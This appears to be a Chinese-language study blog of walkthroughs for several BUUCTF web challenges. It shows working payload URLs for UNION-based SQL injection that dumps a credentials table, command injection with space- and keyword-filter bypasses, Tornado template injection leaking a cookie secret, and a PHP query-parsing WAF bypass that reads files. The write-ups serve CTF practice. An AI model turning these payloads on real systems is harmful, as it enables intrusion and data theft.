BUUCTF - WEB 学习笔记
[极客大挑战 2019]LoveSQL
注意:在语句中空格用 + 来代替
http://656b8f53-0186-40bb-971a-f55a55d57093.node3.buuoj.cn/check.php?username=admin%27+order+by+4%23&password=123456
2. 测试字段数
可以看到当测试4的时候出现了报错,这就说明一共有3个字段
3. 测试回显点
http://656b8f53-0186-40bb-971a-f55a55d57093.node3.buuoj.cn/check.php?username=-1%27+union%20select+1,2,3%23&password=123456
可以看到这里的界面上出现了2、3,这就就是说明这里就是回显点
4. 通过回显点查看表名
http://656b8f53-0186-40bb-971a-f55a55d57093.node3.buuoj.cn/check.php?username=-1%27+union%20select+1,database(),group_concat(table_name)+from%20information_schema.tables+where+table_schema=database()%23&password=123456
5. 通过回显点查看字段名
http://656b8f53-0186-40bb-971a-f55a55d57093.node3.buuoj.cn/check.php?username=-1%27+union%20select+1,database(),group_concat(column_name)+from%20information_schema.columns+where+table_name=%27l0ve1ysq1%27%23&password=123456
6. 通过回显点查看字段内容
http://656b8f53-0186-40bb-971a-f55a55d57093.node3.buuoj.cn/check.php?username=-1%27+union%20select+1,database(),group_concat(username,password)+from+l0ve1ysq1%23&password=123456
得到 flag{587fad9e-b313-45ac-8197-2240a49193f8}
[GXYCTF2019]Ping Ping Ping
-
常用的测试符号
|| && | &
-
测试下127.0.0.1
http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1
-
测试下ifconfig
http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1||ifconfig
-
查看当前文件夹的内容
http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1||ls
-
查看文件内容
http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1||cat%20flag.php
可以看到页面上提示干掉了space,说明做了黑名单处理。 -
绕过空格
${IFS}替换 $IFS$1替换 ${IFS替换 %20替换 <和<>重定向符替换 %09替换
http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1||cat$IFS$1flag.php
再次看到提示,发现过滤到flag -
查看index页面内容
http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1||cat$IFS$1index.php
可以看到这里过滤掉以下这些字符
"/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" "/ /" "/bash/" "/.*f.*l.*a.*g.*/"
-
拼接flag
http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1||a=g;cat$IFS$1fla$a.php
检查源码后发现flag
[ACTF2020 新生赛]Exec
- 测试ifconfig命令
- 使用ls查看文件
可以看到这里并没有flag文件 - 查看根目录
发现flag文件 - 使用cat查看内容
得到flag
[极客大挑战 2019]Knife
- 根据提示打开中国蚁剑
- 查找flag
得到flag{55163827-321c-49b0-aead-4e61d95cab2c}
[护网杯 2018]easy_tornado
- 查看flag.txt文件
发现/fllllllllllllag
- 访问/fllllllllllllag
发现报错了 - 查看提示文件hint.txt
md5(cookie_secret+md5(filename))
可以知道要构造这样的语句才可以 - 测试页面是否存在模板注入
http://fffedab5-b962-4914-a50c-b7b958393b49.node3.buuoj.cn/error?msg={{2%3E1}}
通过发现确实存在模板注入可能 - 查看tornado相关信息
tornado - 通过官方文件检索cookie_secret的信息
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名,这里参考师傅们的wp。
handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings 因此handler.settings指向RequestHandler.application.settings。 构造payload获取cookie_secret /error?msg={{handler.settings}}
7. 查看hander.settings
http://fffedab5-b962-4914-a50c-b7b958393b49.node3.buuoj.cn/error?msg={{handler.settings}}
得到'cookie_secret': '2ad9bfb9-05e1-483a-a960-ea7769240841'
8. 构造语句
import hashlib cookie_secret=r'2ad9bfb9-05e1-483a-a960-ea7769240841' def md5(code): temp = hashlib.md5(str(code)).hexdigest() return temp filename = '/fllllllllllllag' res = md5(cookie_secret + md5(filename)) print res
cb90adc1f3a3ea57d4627b9969ded8b1
9. 查看flag
http://fffedab5-b962-4914-a50c-b7b958393b49.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=cb90adc1f3a3ea57d4627b9969ded8b1
得到flag{e207da62-a474-4cf1-8a8a-b17bb1f100d8}
[RoarCTF 2019]Easy Calc
- 知识学习
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过: /news.php?%20news[id%00=42"+AND+1=0– 上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符 2.将某些字符转换为下划线(包括空格) 换句话说 假如waf不允许num变量传递字母: http://www.xxx.com/index.php?num = aaaa //显示非法输入的话 那么我们可以在num前加个空格: http://www.xxx.com/index.php? num = aaaa 这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
- 构造语句
查看文件
http://node3.buuoj.cn:25593/calc.php?%20num=1;var_dump(scandir(chr(47)))
读取文件内容
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag